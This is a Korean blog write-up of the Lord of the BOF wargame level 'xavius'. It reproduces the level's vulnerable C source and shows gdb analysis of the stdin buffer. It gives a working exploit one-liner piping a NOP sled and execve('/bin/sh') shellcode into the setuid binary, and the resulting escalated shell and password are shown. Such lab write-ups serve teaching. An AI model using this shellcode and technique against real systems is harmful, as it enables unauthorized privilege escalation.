1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
cs


Wargame BOF 원정대 문제 소스코드.


스택 영역 사용 불가능! 코드 영역 사용 불가능! 라이브러리 영역까지 사용 불가능?!

그리고 뜬금없이 arg가 아닌 stdin 입력?!


대체 shellcode를 주입할 수 있는걸까? 세 군데 다 필터링 해버리는데.

세 군데 다? 그런데 왜 라이브러리 영역은 \x40이 아니라 \x90\x90으로 필터링한걸까?


두 가지 힌트를 조합해보자!



stdin이란, 표준입력 파일 스트림이다. 표준 입력을 이야기할 때 흔히 '버퍼'를 이야기한다.

즉, stdin은 입력 버퍼를 가지고 있다. 그 곳을 찾아보자!

우리가 입력한 문자열이 남아있는 곳은 그 곳 뿐이다.



fgets의 마지막 인자는 stdin이었다. 즉, fgets를 위해 push되는 인자 중 스택 특성상 가장 처음 것이 바로 stdn이다.

stdin=*(0x08049a3c)

그 값을 확인해보면



stdin은 0x401068c0이라는 것을 확인할 수 있다.

다시 추적해보면



stdin 내 값을 확인할 수 있다.

사실 x/x stdin 명령어를 통해서도 접근할 수 있다.


http://hacksg.tistory.com/35


위 블로그에 stdin 구조체에 대해 잘 설명되어있다. 자세한 내용이 궁금하다면 참조하자.

필요한 내용만 요약하자면

stdin+4는 어디까지 읽었는지, stdin+8은 얼마나 입력받았는지, stdin+12는 stdin 시작 주소가 어딘지를 의미한다.



fgets 함수 수행 후 printf 함수에 bp를 걸고, continue 하였다.

AAAA를 입력하니

stdin+4,8,12 값이 변했다.



0x40015000을 확인해보니, 우리가 입력한 문자열이 들어가있다.

fgets는 문자열 끝이 \n, gets 등은 문자열 끝이 \00으로 terminate 된다.



xavius 프로세스의 maps 파일을 통해 각 영역에 대한 권한을 확인해보니, stdin 영역은 실행 권한(x)이 없다.

하지만, maps 파일의 내용이 100% 정확하지는 않다. 한번 시도는 해보자.



nop과 \xcc(break instruction)을 pipe를 통해 stdin에 입력해주었다.

nop을 넣어주는 이유는, 코드에서 memcmp가 nop*2가 나올 때까지 while 문이 돌기 때문이다.

nopnop이 없으면 memcmp에서 seg fault가 발생한다.

ret는 0x40015001으로 변조하여 NULL 문자가 없는 주소로 하였다.

pipe를 사용해서, seg fault 메시지가 출력되지는 않지만, core 파일은 생성된다.

gdb로 core dump를 확인해보니 \xcc에서 프로그램이 멈췄다.

SEG FAULT가 아니고 SEG TRAP이 발생했다.


결론은, stdin에서 실행이 된다는 것이다.



모든 정보를 확인했으니, nop+shellcode+ret를 통해 exploit을 시도하자!

필자는 24 byte 쉘코드기 때문이 nop을 20 바이트 넣어줬다.

cat를 넣어주는 이유는 cobolt 레벨에서 설명했다. EOF 방지.


시도해보니 exploit이 성공했다! 이제 원본 파일의 쉘을 따내보자.

심볼릭 링크는 필요없다. 라이브러리 영역이기 때문에 주소가 변하지 않는다..


1
(python -'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius
cs



1
2
3
4
5
6
7
8
9
10
[nightmare@localhost dirxavius]$ cd
[nightmare@localhost nightmare]$ (python -'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius 
1￐h//shh/bin⏓ᙰ
              ̀P@
 
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away
cs


xavius의 패스워드는 throw me away


stdin과 버퍼에 대한 이해가 필요한 문제였다!



'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2015.11.18
LOB zombie_assassin -> succubus  (0) 2015.11.18
LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/